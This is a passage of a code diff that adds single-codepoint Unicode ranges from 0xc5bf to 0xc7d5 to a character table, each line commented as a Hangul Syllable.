+ [0xc5bf, 0xc5bf], /* Hangul Syllable */
+ [0xc5c0, 0xc5c0], /* Hangul Syllable */
+ [0xc5c1, 0xc5c1], /* Hangul Syllable */
+ [0xc5c2, 0xc5c2], /* Hangul Syllable */
+ [0xc5c3, 0xc5c3], /* Hangul Syllable */
+ [0xc5c4, 0xc5c4], /* Hangul Syllable */
+ [0xc5c5, 0xc5c5], /* Hangul Syllable */
+ [0xc5c6, 0xc5c6], /* Hangul Syllable */
+ [0xc5c7, 0xc5c7], /* Hangul Syllable */
+ [0xc5c8, 0xc5c8], /* Hangul Syllable */
+ [0xc5c9, 0xc5c9], /* Hangul Syllable */
+ [0xc5ca, 0xc5ca], /* Hangul Syllable */
+ [0xc5cb, 0xc5cb], /* Hangul Syllable */
+ [0xc5cc, 0xc5cc], /* Hangul Syllable */
+ [0xc5cd, 0xc5cd], /* Hangul Syllable */
+ [0xc5ce, 0xc5ce], /* Hangul Syllable */
+ [0xc5cf, 0xc5cf], /* Hangul Syllable */
+ [0xc5d0, 0xc5d0], /* Hangul Syllable */
+ [0xc5d1, 0xc5d1], /* Hangul Syllable */
+ [0xc5d2, 0xc5d2], /* Hangul Syllable */
+ [0xc5d3, 0xc5d3], /* Hangul Syllable */
+ [0xc5d4, 0xc5d4], /* Hangul Syllable */
+ [0xc5d5, 0xc5d5], /* Hangul Syllable */
+ [0xc5d6, 0xc5d6], /* Hangul Syllable */
+ [0xc5d7, 0xc5d7], /* Hangul Syllable */
+ [0xc5d8, 0xc5d8], /* Hangul Syllable */
+ [0xc5d9, 0xc5d9], /* Hangul Syllable */
+ [0xc5da, 0xc5da], /* Hangul Syllable */
+ [0xc5db, 0xc5db], /* Hangul Syllable */
+ [0xc5dc, 0xc5dc], /* Hangul Syllable */
+ [0xc5dd, 0xc5dd], /* Hangul Syllable */
+ [0xc5de, 0xc5de], /* Hangul Syllable */
+ [0xc5df, 0xc5df], /* Hangul Syllable */
+ [0xc5e0, 0xc5e0], /* Hangul Syllable */
+ [0xc5e1, 0xc5e1], /* Hangul Syllable */
+ [0xc5e2, 0xc5e2], /* Hangul Syllable */
+ [0xc5e3, 0xc5e3], /* Hangul Syllable */
+ [0xc5e4, 0xc5e4], /* Hangul Syllable */
+ [0xc5e5, 0xc5e5], /* Hangul Syllable */
+ [0xc5e6, 0xc5e6], /* Hangul Syllable */
+ [0xc5e7, 0xc5e7], /* Hangul Syllable */
+ [0xc5e8, 0xc5e8], /* Hangul Syllable */
+ [0xc5e9, 0xc5e9], /* Hangul Syllable */
+ [0xc5ea, 0xc5ea], /* Hangul Syllable */
+ [0xc5eb, 0xc5eb], /* Hangul Syllable */
+ [0xc5ec, 0xc5ec], /* Hangul Syllable */
+ [0xc5ed, 0xc5ed], /* Hangul Syllable */
+ [0xc5ee, 0xc5ee], /* Hangul Syllable */
+ [0xc5ef, 0xc5ef], /* Hangul Syllable */
+ [0xc5f0, 0xc5f0], /* Hangul Syllable */
+ [0xc5f1, 0xc5f1], /* Hangul Syllable */
+ [0xc5f2, 0xc5f2], /* Hangul Syllable */
+ [0xc5f3, 0xc5f3], /* Hangul Syllable */
+ [0xc5f4, 0xc5f4], /* Hangul Syllable */
+ [0xc5f5, 0xc5f5], /* Hangul Syllable */
+ [0xc5f6, 0xc5f6], /* Hangul Syllable */
+ [0xc5f7, 0xc5f7], /* Hangul Syllable */
+ [0xc5f8, 0xc5f8], /* Hangul Syllable */
+ [0xc5f9, 0xc5f9], /* Hangul Syllable */
+ [0xc5fa, 0xc5fa], /* Hangul Syllable */
+ [0xc5fb, 0xc5fb], /* Hangul Syllable */
+ [0xc5fc, 0xc5fc], /* Hangul Syllable */
+ [0xc5fd, 0xc5fd], /* Hangul Syllable */
+ [0xc5fe, 0xc5fe], /* Hangul Syllable */
+ [0xc5ff, 0xc5ff], /* Hangul Syllable */
+ [0xc600, 0xc600], /* Hangul Syllable */
+ [0xc601, 0xc601], /* Hangul Syllable */
+ [0xc602, 0xc602], /* Hangul Syllable */
+ [0xc603, 0xc603], /* Hangul Syllable */
+ [0xc604, 0xc604], /* Hangul Syllable */
+ [0xc605, 0xc605], /* Hangul Syllable */
+ [0xc606, 0xc606], /* Hangul Syllable */
+ [0xc607, 0xc607], /* Hangul Syllable */
+ [0xc608, 0xc608], /* Hangul Syllable */
+ [0xc609, 0xc609], /* Hangul Syllable */
+ [0xc60a, 0xc60a], /* Hangul Syllable */
+ [0xc60b, 0xc60b], /* Hangul Syllable */
+ [0xc60c, 0xc60c], /* Hangul Syllable */
+ [0xc60d, 0xc60d], /* Hangul Syllable */
+ [0xc60e, 0xc60e], /* Hangul Syllable */
+ [0xc60f, 0xc60f], /* Hangul Syllable */
+ [0xc610, 0xc610], /* Hangul Syllable */
+ [0xc611, 0xc611], /* Hangul Syllable */
+ [0xc612, 0xc612], /* Hangul Syllable */
+ [0xc613, 0xc613], /* Hangul Syllable */
+ [0xc614, 0xc614], /* Hangul Syllable */
+ [0xc615, 0xc615], /* Hangul Syllable */
+ [0xc616, 0xc616], /* Hangul Syllable */
+ [0xc617, 0xc617], /* Hangul Syllable */
+ [0xc618, 0xc618], /* Hangul Syllable */
+ [0xc619, 0xc619], /* Hangul Syllable */
+ [0xc61a, 0xc61a], /* Hangul Syllable */
+ [0xc61b, 0xc61b], /* Hangul Syllable */
+ [0xc61c, 0xc61c], /* Hangul Syllable */
+ [0xc61d, 0xc61d], /* Hangul Syllable */
+ [0xc61e, 0xc61e], /* Hangul Syllable */
+ [0xc61f, 0xc61f], /* Hangul Syllable */
+ [0xc620, 0xc620], /* Hangul Syllable */
+ [0xc621, 0xc621], /* Hangul Syllable */
+ [0xc622, 0xc622], /* Hangul Syllable */
+ [0xc623, 0xc623], /* Hangul Syllable */
+ [0xc624, 0xc624], /* Hangul Syllable */
+ [0xc625, 0xc625], /* Hangul Syllable */
+ [0xc626, 0xc626], /* Hangul Syllable */
+ [0xc627, 0xc627], /* Hangul Syllable */
+ [0xc628, 0xc628], /* Hangul Syllable */
+ [0xc629, 0xc629], /* Hangul Syllable */
+ [0xc62a, 0xc62a], /* Hangul Syllable */
+ [0xc62b, 0xc62b], /* Hangul Syllable */
+ [0xc62c, 0xc62c], /* Hangul Syllable */
+ [0xc62d, 0xc62d], /* Hangul Syllable */
+ [0xc62e, 0xc62e], /* Hangul Syllable */
+ [0xc62f, 0xc62f], /* Hangul Syllable */
+ [0xc630, 0xc630], /* Hangul Syllable */
+ [0xc631, 0xc631], /* Hangul Syllable */
+ [0xc632, 0xc632], /* Hangul Syllable */
+ [0xc633, 0xc633], /* Hangul Syllable */
+ [0xc634, 0xc634], /* Hangul Syllable */
+ [0xc635, 0xc635], /* Hangul Syllable */
+ [0xc636, 0xc636], /* Hangul Syllable */
+ [0xc637, 0xc637], /* Hangul Syllable */
+ [0xc638, 0xc638], /* Hangul Syllable */
+ [0xc639, 0xc639], /* Hangul Syllable */
+ [0xc63a, 0xc63a], /* Hangul Syllable */
+ [0xc63b, 0xc63b], /* Hangul Syllable */
+ [0xc63c, 0xc63c], /* Hangul Syllable */
+ [0xc63d, 0xc63d], /* Hangul Syllable */
+ [0xc63e, 0xc63e], /* Hangul Syllable */
+ [0xc63f, 0xc63f], /* Hangul Syllable */
+ [0xc640, 0xc640], /* Hangul Syllable */
+ [0xc641, 0xc641], /* Hangul Syllable */
+ [0xc642, 0xc642], /* Hangul Syllable */
+ [0xc643, 0xc643], /* Hangul Syllable */
+ [0xc644, 0xc644], /* Hangul Syllable */
+ [0xc645, 0xc645], /* Hangul Syllable */
+ [0xc646, 0xc646], /* Hangul Syllable */
+ [0xc647, 0xc647], /* Hangul Syllable */
+ [0xc648, 0xc648], /* Hangul Syllable */
+ [0xc649, 0xc649], /* Hangul Syllable */
+ [0xc64a, 0xc64a], /* Hangul Syllable */
+ [0xc64b, 0xc64b], /* Hangul Syllable */
+ [0xc64c, 0xc64c], /* Hangul Syllable */
+ [0xc64d, 0xc64d], /* Hangul Syllable */
+ [0xc64e, 0xc64e], /* Hangul Syllable */
+ [0xc64f, 0xc64f], /* Hangul Syllable */
+ [0xc650, 0xc650], /* Hangul Syllable */
+ [0xc651, 0xc651], /* Hangul Syllable */
+ [0xc652, 0xc652], /* Hangul Syllable */
+ [0xc653, 0xc653], /* Hangul Syllable */
+ [0xc654, 0xc654], /* Hangul Syllable */
+ [0xc655, 0xc655], /* Hangul Syllable */
+ [0xc656, 0xc656], /* Hangul Syllable */
+ [0xc657, 0xc657], /* Hangul Syllable */
+ [0xc658, 0xc658], /* Hangul Syllable */
+ [0xc659, 0xc659], /* Hangul Syllable */
+ [0xc65a, 0xc65a], /* Hangul Syllable */
+ [0xc65b, 0xc65b], /* Hangul Syllable */
+ [0xc65c, 0xc65c], /* Hangul Syllable */
+ [0xc65d, 0xc65d], /* Hangul Syllable */
+ [0xc65e, 0xc65e], /* Hangul Syllable */
+ [0xc65f, 0xc65f], /* Hangul Syllable */
+ [0xc660, 0xc660], /* Hangul Syllable */
+ [0xc661, 0xc661], /* Hangul Syllable */
+ [0xc662, 0xc662], /* Hangul Syllable */
+ [0xc663, 0xc663], /* Hangul Syllable */
+ [0xc664, 0xc664], /* Hangul Syllable */
+ [0xc665, 0xc665], /* Hangul Syllable */
+ [0xc666, 0xc666], /* Hangul Syllable */
+ [0xc667, 0xc667], /* Hangul Syllable */
+ [0xc668, 0xc668], /* Hangul Syllable */
+ [0xc669, 0xc669], /* Hangul Syllable */
+ [0xc66a, 0xc66a], /* Hangul Syllable */
+ [0xc66b, 0xc66b], /* Hangul Syllable */
+ [0xc66c, 0xc66c], /* Hangul Syllable */
+ [0xc66d, 0xc66d], /* Hangul Syllable */
+ [0xc66e, 0xc66e], /* Hangul Syllable */
+ [0xc66f, 0xc66f], /* Hangul Syllable */
+ [0xc670, 0xc670], /* Hangul Syllable */
+ [0xc671, 0xc671], /* Hangul Syllable */
+ [0xc672, 0xc672], /* Hangul Syllable */
+ [0xc673, 0xc673], /* Hangul Syllable */
+ [0xc674, 0xc674], /* Hangul Syllable */
+ [0xc675, 0xc675], /* Hangul Syllable */
+ [0xc676, 0xc676], /* Hangul Syllable */
+ [0xc677, 0xc677], /* Hangul Syllable */
+ [0xc678, 0xc678], /* Hangul Syllable */
+ [0xc679, 0xc679], /* Hangul Syllable */
+ [0xc67a, 0xc67a], /* Hangul Syllable */
+ [0xc67b, 0xc67b], /* Hangul Syllable */
+ [0xc67c, 0xc67c], /* Hangul Syllable */
+ [0xc67d, 0xc67d], /* Hangul Syllable */
+ [0xc67e, 0xc67e], /* Hangul Syllable */
+ [0xc67f, 0xc67f], /* Hangul Syllable */
+ [0xc680, 0xc680], /* Hangul Syllable */
+ [0xc681, 0xc681], /* Hangul Syllable */
+ [0xc682, 0xc682], /* Hangul Syllable */
+ [0xc683, 0xc683], /* Hangul Syllable */
+ [0xc684, 0xc684], /* Hangul Syllable */
+ [0xc685, 0xc685], /* Hangul Syllable */
+ [0xc686, 0xc686], /* Hangul Syllable */
+ [0xc687, 0xc687], /* Hangul Syllable */
+ [0xc688, 0xc688], /* Hangul Syllable */
+ [0xc689, 0xc689], /* Hangul Syllable */
+ [0xc68a, 0xc68a], /* Hangul Syllable */
+ [0xc68b, 0xc68b], /* Hangul Syllable */
+ [0xc68c, 0xc68c], /* Hangul Syllable */
+ [0xc68d, 0xc68d], /* Hangul Syllable */
+ [0xc68e, 0xc68e], /* Hangul Syllable */
+ [0xc68f, 0xc68f], /* Hangul Syllable */
+ [0xc690, 0xc690], /* Hangul Syllable */
+ [0xc691, 0xc691], /* Hangul Syllable */
+ [0xc692, 0xc692], /* Hangul Syllable */
+ [0xc693, 0xc693], /* Hangul Syllable */
+ [0xc694, 0xc694], /* Hangul Syllable */
+ [0xc695, 0xc695], /* Hangul Syllable */
+ [0xc696, 0xc696], /* Hangul Syllable */
+ [0xc697, 0xc697], /* Hangul Syllable */
+ [0xc698, 0xc698], /* Hangul Syllable */
+ [0xc699, 0xc699], /* Hangul Syllable */
+ [0xc69a, 0xc69a], /* Hangul Syllable */
+ [0xc69b, 0xc69b], /* Hangul Syllable */
+ [0xc69c, 0xc69c], /* Hangul Syllable */
+ [0xc69d, 0xc69d], /* Hangul Syllable */
+ [0xc69e, 0xc69e], /* Hangul Syllable */
+ [0xc69f, 0xc69f], /* Hangul Syllable */
+ [0xc6a0, 0xc6a0], /* Hangul Syllable */
+ [0xc6a1, 0xc6a1], /* Hangul Syllable */
+ [0xc6a2, 0xc6a2], /* Hangul Syllable */
+ [0xc6a3, 0xc6a3], /* Hangul Syllable */
+ [0xc6a4, 0xc6a4], /* Hangul Syllable */
+ [0xc6a5, 0xc6a5], /* Hangul Syllable */
+ [0xc6a6, 0xc6a6], /* Hangul Syllable */
+ [0xc6a7, 0xc6a7], /* Hangul Syllable */
+ [0xc6a8, 0xc6a8], /* Hangul Syllable */
+ [0xc6a9, 0xc6a9], /* Hangul Syllable */
+ [0xc6aa, 0xc6aa], /* Hangul Syllable */
+ [0xc6ab, 0xc6ab], /* Hangul Syllable */
+ [0xc6ac, 0xc6ac], /* Hangul Syllable */
+ [0xc6ad, 0xc6ad], /* Hangul Syllable */
+ [0xc6ae, 0xc6ae], /* Hangul Syllable */
+ [0xc6af, 0xc6af], /* Hangul Syllable */
+ [0xc6b0, 0xc6b0], /* Hangul Syllable */
+ [0xc6b1, 0xc6b1], /* Hangul Syllable */
+ [0xc6b2, 0xc6b2], /* Hangul Syllable */
+ [0xc6b3, 0xc6b3], /* Hangul Syllable */
+ [0xc6b4, 0xc6b4], /* Hangul Syllable */
+ [0xc6b5, 0xc6b5], /* Hangul Syllable */
+ [0xc6b6, 0xc6b6], /* Hangul Syllable */
+ [0xc6b7, 0xc6b7], /* Hangul Syllable */
+ [0xc6b8, 0xc6b8], /* Hangul Syllable */
+ [0xc6b9, 0xc6b9], /* Hangul Syllable */
+ [0xc6ba, 0xc6ba], /* Hangul Syllable */
+ [0xc6bb, 0xc6bb], /* Hangul Syllable */
+ [0xc6bc, 0xc6bc], /* Hangul Syllable */
+ [0xc6bd, 0xc6bd], /* Hangul Syllable */
+ [0xc6be, 0xc6be], /* Hangul Syllable */
+ [0xc6bf, 0xc6bf], /* Hangul Syllable */
+ [0xc6c0, 0xc6c0], /* Hangul Syllable */
+ [0xc6c1, 0xc6c1], /* Hangul Syllable */
+ [0xc6c2, 0xc6c2], /* Hangul Syllable */
+ [0xc6c3, 0xc6c3], /* Hangul Syllable */
+ [0xc6c4, 0xc6c4], /* Hangul Syllable */
+ [0xc6c5, 0xc6c5], /* Hangul Syllable */
+ [0xc6c6, 0xc6c6], /* Hangul Syllable */
+ [0xc6c7, 0xc6c7], /* Hangul Syllable */
+ [0xc6c8, 0xc6c8], /* Hangul Syllable */
+ [0xc6c9, 0xc6c9], /* Hangul Syllable */
+ [0xc6ca, 0xc6ca], /* Hangul Syllable */
+ [0xc6cb, 0xc6cb], /* Hangul Syllable */
+ [0xc6cc, 0xc6cc], /* Hangul Syllable */
+ [0xc6cd, 0xc6cd], /* Hangul Syllable */
+ [0xc6ce, 0xc6ce], /* Hangul Syllable */
+ [0xc6cf, 0xc6cf], /* Hangul Syllable */
+ [0xc6d0, 0xc6d0], /* Hangul Syllable */
+ [0xc6d1, 0xc6d1], /* Hangul Syllable */
+ [0xc6d2, 0xc6d2], /* Hangul Syllable */
+ [0xc6d3, 0xc6d3], /* Hangul Syllable */
+ [0xc6d4, 0xc6d4], /* Hangul Syllable */
+ [0xc6d5, 0xc6d5], /* Hangul Syllable */
+ [0xc6d6, 0xc6d6], /* Hangul Syllable */
+ [0xc6d7, 0xc6d7], /* Hangul Syllable */
+ [0xc6d8, 0xc6d8], /* Hangul Syllable */
+ [0xc6d9, 0xc6d9], /* Hangul Syllable */
+ [0xc6da, 0xc6da], /* Hangul Syllable */
+ [0xc6db, 0xc6db], /* Hangul Syllable */
+ [0xc6dc, 0xc6dc], /* Hangul Syllable */
+ [0xc6dd, 0xc6dd], /* Hangul Syllable */
+ [0xc6de, 0xc6de], /* Hangul Syllable */
+ [0xc6df, 0xc6df], /* Hangul Syllable */
+ [0xc6e0, 0xc6e0], /* Hangul Syllable */
+ [0xc6e1, 0xc6e1], /* Hangul Syllable */
+ [0xc6e2, 0xc6e2], /* Hangul Syllable */
+ [0xc6e3, 0xc6e3], /* Hangul Syllable */
+ [0xc6e4, 0xc6e4], /* Hangul Syllable */
+ [0xc6e5, 0xc6e5], /* Hangul Syllable */
+ [0xc6e6, 0xc6e6], /* Hangul Syllable */
+ [0xc6e7, 0xc6e7], /* Hangul Syllable */
+ [0xc6e8, 0xc6e8], /* Hangul Syllable */
+ [0xc6e9, 0xc6e9], /* Hangul Syllable */
+ [0xc6ea, 0xc6ea], /* Hangul Syllable */
+ [0xc6eb, 0xc6eb], /* Hangul Syllable */
+ [0xc6ec, 0xc6ec], /* Hangul Syllable */
+ [0xc6ed, 0xc6ed], /* Hangul Syllable */
+ [0xc6ee, 0xc6ee], /* Hangul Syllable */
+ [0xc6ef, 0xc6ef], /* Hangul Syllable */
+ [0xc6f0, 0xc6f0], /* Hangul Syllable */
+ [0xc6f1, 0xc6f1], /* Hangul Syllable */
+ [0xc6f2, 0xc6f2], /* Hangul Syllable */
+ [0xc6f3, 0xc6f3], /* Hangul Syllable */
+ [0xc6f4, 0xc6f4], /* Hangul Syllable */
+ [0xc6f5, 0xc6f5], /* Hangul Syllable */
+ [0xc6f6, 0xc6f6], /* Hangul Syllable */
+ [0xc6f7, 0xc6f7], /* Hangul Syllable */
+ [0xc6f8, 0xc6f8], /* Hangul Syllable */
+ [0xc6f9, 0xc6f9], /* Hangul Syllable */
+ [0xc6fa, 0xc6fa], /* Hangul Syllable */
+ [0xc6fb, 0xc6fb], /* Hangul Syllable */
+ [0xc6fc, 0xc6fc], /* Hangul Syllable */
+ [0xc6fd, 0xc6fd], /* Hangul Syllable */
+ [0xc6fe, 0xc6fe], /* Hangul Syllable */
+ [0xc6ff, 0xc6ff], /* Hangul Syllable */
+ [0xc700, 0xc700], /* Hangul Syllable */
+ [0xc701, 0xc701], /* Hangul Syllable */
+ [0xc702, 0xc702], /* Hangul Syllable */
+ [0xc703, 0xc703], /* Hangul Syllable */
+ [0xc704, 0xc704], /* Hangul Syllable */
+ [0xc705, 0xc705], /* Hangul Syllable */
+ [0xc706, 0xc706], /* Hangul Syllable */
+ [0xc707, 0xc707], /* Hangul Syllable */
+ [0xc708, 0xc708], /* Hangul Syllable */
+ [0xc709, 0xc709], /* Hangul Syllable */
+ [0xc70a, 0xc70a], /* Hangul Syllable */
+ [0xc70b, 0xc70b], /* Hangul Syllable */
+ [0xc70c, 0xc70c], /* Hangul Syllable */
+ [0xc70d, 0xc70d], /* Hangul Syllable */
+ [0xc70e, 0xc70e], /* Hangul Syllable */
+ [0xc70f, 0xc70f], /* Hangul Syllable */
+ [0xc710, 0xc710], /* Hangul Syllable */
+ [0xc711, 0xc711], /* Hangul Syllable */
+ [0xc712, 0xc712], /* Hangul Syllable */
+ [0xc713, 0xc713], /* Hangul Syllable */
+ [0xc714, 0xc714], /* Hangul Syllable */
+ [0xc715, 0xc715], /* Hangul Syllable */
+ [0xc716, 0xc716], /* Hangul Syllable */
+ [0xc717, 0xc717], /* Hangul Syllable */
+ [0xc718, 0xc718], /* Hangul Syllable */
+ [0xc719, 0xc719], /* Hangul Syllable */
+ [0xc71a, 0xc71a], /* Hangul Syllable */
+ [0xc71b, 0xc71b], /* Hangul Syllable */
+ [0xc71c, 0xc71c], /* Hangul Syllable */
+ [0xc71d, 0xc71d], /* Hangul Syllable */
+ [0xc71e, 0xc71e], /* Hangul Syllable */
+ [0xc71f, 0xc71f], /* Hangul Syllable */
+ [0xc720, 0xc720], /* Hangul Syllable */
+ [0xc721, 0xc721], /* Hangul Syllable */
+ [0xc722, 0xc722], /* Hangul Syllable */
+ [0xc723, 0xc723], /* Hangul Syllable */
+ [0xc724, 0xc724], /* Hangul Syllable */
+ [0xc725, 0xc725], /* Hangul Syllable */
+ [0xc726, 0xc726], /* Hangul Syllable */
+ [0xc727, 0xc727], /* Hangul Syllable */
+ [0xc728, 0xc728], /* Hangul Syllable */
+ [0xc729, 0xc729], /* Hangul Syllable */
+ [0xc72a, 0xc72a], /* Hangul Syllable */
+ [0xc72b, 0xc72b], /* Hangul Syllable */
+ [0xc72c, 0xc72c], /* Hangul Syllable */
+ [0xc72d, 0xc72d], /* Hangul Syllable */
+ [0xc72e, 0xc72e], /* Hangul Syllable */
+ [0xc72f, 0xc72f], /* Hangul Syllable */
+ [0xc730, 0xc730], /* Hangul Syllable */
+ [0xc731, 0xc731], /* Hangul Syllable */
+ [0xc732, 0xc732], /* Hangul Syllable */
+ [0xc733, 0xc733], /* Hangul Syllable */
+ [0xc734, 0xc734], /* Hangul Syllable */
+ [0xc735, 0xc735], /* Hangul Syllable */
+ [0xc736, 0xc736], /* Hangul Syllable */
+ [0xc737, 0xc737], /* Hangul Syllable */
+ [0xc738, 0xc738], /* Hangul Syllable */
+ [0xc739, 0xc739], /* Hangul Syllable */
+ [0xc73a, 0xc73a], /* Hangul Syllable */
+ [0xc73b, 0xc73b], /* Hangul Syllable */
+ [0xc73c, 0xc73c], /* Hangul Syllable */
+ [0xc73d, 0xc73d], /* Hangul Syllable */
+ [0xc73e, 0xc73e], /* Hangul Syllable */
+ [0xc73f, 0xc73f], /* Hangul Syllable */
+ [0xc740, 0xc740], /* Hangul Syllable */
+ [0xc741, 0xc741], /* Hangul Syllable */
+ [0xc742, 0xc742], /* Hangul Syllable */
+ [0xc743, 0xc743], /* Hangul Syllable */
+ [0xc744, 0xc744], /* Hangul Syllable */
+ [0xc745, 0xc745], /* Hangul Syllable */
+ [0xc746, 0xc746], /* Hangul Syllable */
+ [0xc747, 0xc747], /* Hangul Syllable */
+ [0xc748, 0xc748], /* Hangul Syllable */
+ [0xc749, 0xc749], /* Hangul Syllable */
+ [0xc74a, 0xc74a], /* Hangul Syllable */
+ [0xc74b, 0xc74b], /* Hangul Syllable */
+ [0xc74c, 0xc74c], /* Hangul Syllable */
+ [0xc74d, 0xc74d], /* Hangul Syllable */
+ [0xc74e, 0xc74e], /* Hangul Syllable */
+ [0xc74f, 0xc74f], /* Hangul Syllable */
+ [0xc750, 0xc750], /* Hangul Syllable */
+ [0xc751, 0xc751], /* Hangul Syllable */
+ [0xc752, 0xc752], /* Hangul Syllable */
+ [0xc753, 0xc753], /* Hangul Syllable */
+ [0xc754, 0xc754], /* Hangul Syllable */
+ [0xc755, 0xc755], /* Hangul Syllable */
+ [0xc756, 0xc756], /* Hangul Syllable */
+ [0xc757, 0xc757], /* Hangul Syllable */
+ [0xc758, 0xc758], /* Hangul Syllable */
+ [0xc759, 0xc759], /* Hangul Syllable */
+ [0xc75a, 0xc75a], /* Hangul Syllable */
+ [0xc75b, 0xc75b], /* Hangul Syllable */
+ [0xc75c, 0xc75c], /* Hangul Syllable */
+ [0xc75d, 0xc75d], /* Hangul Syllable */
+ [0xc75e, 0xc75e], /* Hangul Syllable */
+ [0xc75f, 0xc75f], /* Hangul Syllable */
+ [0xc760, 0xc760], /* Hangul Syllable */
+ [0xc761, 0xc761], /* Hangul Syllable */
+ [0xc762, 0xc762], /* Hangul Syllable */
+ [0xc763, 0xc763], /* Hangul Syllable */
+ [0xc764, 0xc764], /* Hangul Syllable */
+ [0xc765, 0xc765], /* Hangul Syllable */
+ [0xc766, 0xc766], /* Hangul Syllable */
+ [0xc767, 0xc767], /* Hangul Syllable */
+ [0xc768, 0xc768], /* Hangul Syllable */
+ [0xc769, 0xc769], /* Hangul Syllable */
+ [0xc76a, 0xc76a], /* Hangul Syllable */
+ [0xc76b, 0xc76b], /* Hangul Syllable */
+ [0xc76c, 0xc76c], /* Hangul Syllable */
+ [0xc76d, 0xc76d], /* Hangul Syllable */
+ [0xc76e, 0xc76e], /* Hangul Syllable */
+ [0xc76f, 0xc76f], /* Hangul Syllable */
+ [0xc770, 0xc770], /* Hangul Syllable */
+ [0xc771, 0xc771], /* Hangul Syllable */
+ [0xc772, 0xc772], /* Hangul Syllable */
+ [0xc773, 0xc773], /* Hangul Syllable */
+ [0xc774, 0xc774], /* Hangul Syllable */
+ [0xc775, 0xc775], /* Hangul Syllable */
+ [0xc776, 0xc776], /* Hangul Syllable */
+ [0xc777, 0xc777], /* Hangul Syllable */
+ [0xc778, 0xc778], /* Hangul Syllable */
+ [0xc779, 0xc779], /* Hangul Syllable */
+ [0xc77a, 0xc77a], /* Hangul Syllable */
+ [0xc77b, 0xc77b], /* Hangul Syllable */
+ [0xc77c, 0xc77c], /* Hangul Syllable */
+ [0xc77d, 0xc77d], /* Hangul Syllable */
+ [0xc77e, 0xc77e], /* Hangul Syllable */
+ [0xc77f, 0xc77f], /* Hangul Syllable */
+ [0xc780, 0xc780], /* Hangul Syllable */
+ [0xc781, 0xc781], /* Hangul Syllable */
+ [0xc782, 0xc782], /* Hangul Syllable */
+ [0xc783, 0xc783], /* Hangul Syllable */
+ [0xc784, 0xc784], /* Hangul Syllable */
+ [0xc785, 0xc785], /* Hangul Syllable */
+ [0xc786, 0xc786], /* Hangul Syllable */
+ [0xc787, 0xc787], /* Hangul Syllable */
+ [0xc788, 0xc788], /* Hangul Syllable */
+ [0xc789, 0xc789], /* Hangul Syllable */
+ [0xc78a, 0xc78a], /* Hangul Syllable */
+ [0xc78b, 0xc78b], /* Hangul Syllable */
+ [0xc78c, 0xc78c], /* Hangul Syllable */
+ [0xc78d, 0xc78d], /* Hangul Syllable */
+ [0xc78e, 0xc78e], /* Hangul Syllable */
+ [0xc78f, 0xc78f], /* Hangul Syllable */
+ [0xc790, 0xc790], /* Hangul Syllable */
+ [0xc791, 0xc791], /* Hangul Syllable */
+ [0xc792, 0xc792], /* Hangul Syllable */
+ [0xc793, 0xc793], /* Hangul Syllable */
+ [0xc794, 0xc794], /* Hangul Syllable */
+ [0xc795, 0xc795], /* Hangul Syllable */
+ [0xc796, 0xc796], /* Hangul Syllable */
+ [0xc797, 0xc797], /* Hangul Syllable */
+ [0xc798, 0xc798], /* Hangul Syllable */
+ [0xc799, 0xc799], /* Hangul Syllable */
+ [0xc79a, 0xc79a], /* Hangul Syllable */
+ [0xc79b, 0xc79b], /* Hangul Syllable */
+ [0xc79c, 0xc79c], /* Hangul Syllable */
+ [0xc79d, 0xc79d], /* Hangul Syllable */
+ [0xc79e, 0xc79e], /* Hangul Syllable */
+ [0xc79f, 0xc79f], /* Hangul Syllable */
+ [0xc7a0, 0xc7a0], /* Hangul Syllable */
+ [0xc7a1, 0xc7a1], /* Hangul Syllable */
+ [0xc7a2, 0xc7a2], /* Hangul Syllable */
+ [0xc7a3, 0xc7a3], /* Hangul Syllable */
+ [0xc7a4, 0xc7a4], /* Hangul Syllable */
+ [0xc7a5, 0xc7a5], /* Hangul Syllable */
+ [0xc7a6, 0xc7a6], /* Hangul Syllable */
+ [0xc7a7, 0xc7a7], /* Hangul Syllable */
+ [0xc7a8, 0xc7a8], /* Hangul Syllable */
+ [0xc7a9, 0xc7a9], /* Hangul Syllable */
+ [0xc7aa, 0xc7aa], /* Hangul Syllable */
+ [0xc7ab, 0xc7ab], /* Hangul Syllable */
+ [0xc7ac, 0xc7ac], /* Hangul Syllable */
+ [0xc7ad, 0xc7ad], /* Hangul Syllable */
+ [0xc7ae, 0xc7ae], /* Hangul Syllable */
+ [0xc7af, 0xc7af], /* Hangul Syllable */
+ [0xc7b0, 0xc7b0], /* Hangul Syllable */
+ [0xc7b1, 0xc7b1], /* Hangul Syllable */
+ [0xc7b2, 0xc7b2], /* Hangul Syllable */
+ [0xc7b3, 0xc7b3], /* Hangul Syllable */
+ [0xc7b4, 0xc7b4], /* Hangul Syllable */
+ [0xc7b5, 0xc7b5], /* Hangul Syllable */
+ [0xc7b6, 0xc7b6], /* Hangul Syllable */
+ [0xc7b7, 0xc7b7], /* Hangul Syllable */
+ [0xc7b8, 0xc7b8], /* Hangul Syllable */
+ [0xc7b9, 0xc7b9], /* Hangul Syllable */
+ [0xc7ba, 0xc7ba], /* Hangul Syllable */
+ [0xc7bb, 0xc7bb], /* Hangul Syllable */
+ [0xc7bc, 0xc7bc], /* Hangul Syllable */
+ [0xc7bd, 0xc7bd], /* Hangul Syllable */
+ [0xc7be, 0xc7be], /* Hangul Syllable */
+ [0xc7bf, 0xc7bf], /* Hangul Syllable */
+ [0xc7c0, 0xc7c0], /* Hangul Syllable */
+ [0xc7c1, 0xc7c1], /* Hangul Syllable */
+ [0xc7c2, 0xc7c2], /* Hangul Syllable */
+ [0xc7c3, 0xc7c3], /* Hangul Syllable */
+ [0xc7c4, 0xc7c4], /* Hangul Syllable */
+ [0xc7c5, 0xc7c5], /* Hangul Syllable */
+ [0xc7c6, 0xc7c6], /* Hangul Syllable */
+ [0xc7c7, 0xc7c7], /* Hangul Syllable */
+ [0xc7c8, 0xc7c8], /* Hangul Syllable */
+ [0xc7c9, 0xc7c9], /* Hangul Syllable */
+ [0xc7ca, 0xc7ca], /* Hangul Syllable */
+ [0xc7cb, 0xc7cb], /* Hangul Syllable */
+ [0xc7cc, 0xc7cc], /* Hangul Syllable */
+ [0xc7cd, 0xc7cd], /* Hangul Syllable */
+ [0xc7ce, 0xc7ce], /* Hangul Syllable */
+ [0xc7cf, 0xc7cf], /* Hangul Syllable */
+ [0xc7d0, 0xc7d0], /* Hangul Syllable */
+ [0xc7d1, 0xc7d1], /* Hangul Syllable */
+ [0xc7d2, 0xc7d2], /* Hangul Syllable */
+ [0xc7d3, 0xc7d3], /* Hangul Syllable */
+ [0xc7d4, 0xc7d4], /* Hangul Syllable */
+ [0xc7d5, 0xc7d5], /* Hangul Syllable */
